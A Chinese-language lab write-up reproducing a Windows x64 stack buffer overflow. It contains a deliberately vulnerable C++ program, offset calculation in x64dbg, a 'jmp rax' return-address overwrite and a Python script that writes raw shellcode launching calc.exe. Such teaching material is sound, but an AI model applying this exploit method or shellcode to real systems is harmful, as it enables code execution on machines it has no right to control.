以下为原文链接,但是我在复现时出了些问题;在实现方面也与原文有所不同。
环境
Win10 18363 + x64dbg;
原文中还使用了x64dbg的ERC插件,但是通过观察栈帧、计算偏移也可以实现。
以下为溢出样本代码。
#include <iostream>
#include <string>
#include <fstream>
#include <windows.h>
inline bool file_exists(const std::string & name)
{
std::ifstream f(name.c_str());
return f.good();
}
void exploitable(const char* p, int len)
{
char buffer[700];
long unsigned int out_protect;
if (!VirtualProtect((void*)buffer, 700, PAGE_EXECUTE_READWRITE, &out_protect)) {
puts("Failed to mark buffer as executable");
exit(1);
}
memcpy(buffer, p, len);
}
int main()
{
std::string inputFile = "";
std::string inputText = "";
std::cout << "Please enter filename:\n";
std::cin >> inputFile;
bool fileExists = file_exists(inputFile);
if (fileExists == true)
{
std::ifstream t(inputFile);
std::string str((std::istreambuf_iterator<char>(t)),
std::istreambuf_iterator<char>());
inputText = str;
}
else
{
std::cout << "File does not exist\n";
std::cin >> inputFile;
return 0;
}
exploitable(inputText.c_str(), inputText.size());
std::cin >> inputText;
return 0;
}
可以观察到在exploitable函数中定义了一大片缓冲区buffer,并且利用VirtualProtect函数修改了字符数组buffer所在地址的执行权限。接下来就要使用大量的数据来填充缓冲区,观察栈帧情况,计算缓冲区起始地址到函数返回地址的偏移量。
为了确定漏洞的存在,利用如下python脚本生成payload。
f = open("crash-1.txt", "wb")
buf = b"A" * 1000
f.write(buf)
f.close()
运行脚本后会生成一个txt文档,由1000个A组成。使用x64dbg打开溢出样本,运行后输入txt的路径。观察x64dbg中的栈帧布局
左图为缓冲区起始地址:0x14FA00。右图为函数返回地址:0x14FCC8。计算出两者的偏移得出 0x14FCC8 - 0x14FA00 = 0x2C8 = 712。因此可以得知我们需要712字节的数据来填充缓冲区起始到函数返回地址直接的区域。偏移既然已经计算出来了,下一步就是怎样覆盖函数地址。注意观察此时寄存器中的值:
RAX中的值为memcpy函数的返回值,RAX中的值为一个内存地址,我们可以在内存窗口中查看该地址,如下:
该地址中的内容也正是上述python脚本生成的payload内容。故可以想到将函数返回地址复改为jmp rax所在的地址,如下:
在x64dbg中右键 --> 搜索 --> 所有模块 --> 命令,搜索jmp rax所在地址有如下结果:
我们选取0x7D6AA0地址为新的函数返回地址,重新编写payload为:
f = open("crash-4.txt", "wb")
buf = b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
buf += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
buf += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
buf += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
buf += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
buf += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
buf += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
buf += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
buf += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
buf += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
buf += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
buf += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
buf += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
buf += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
buf += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
buf += b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
buf += b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
buf += b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
buf += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
buf += b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"
buf += b"\x78\x65\x00"
buf += b"\x90" * (712 - len(buf))
buf += b"\xA0\x6A\x7D\x00\x00\x00\x00\x00" #00000000007D6AA0
buf += b"\x41" * 300
f.write(buf)
f.close()
重新生成txt文档,并且在x64dbg中打开溢出样本:
此时要注意一点:下图为RAX所在地址的内存,也就是shellcode存放的位置
可是这段地址在内存布局中查看时,却没有执行权限,如果继续步入会爆出C0000005 (EXCEPTION_ACCESS_VIOLATION)异常。
可是在调用VirtualProtect函数时就已经修改地址区域执行权限,这点可能是因为页面大小的问题。为了成功进入到shellcode,手动修改0x14A0000起始处执行权限。
再次执行,成功进入到shellcode,弹出计算器进程。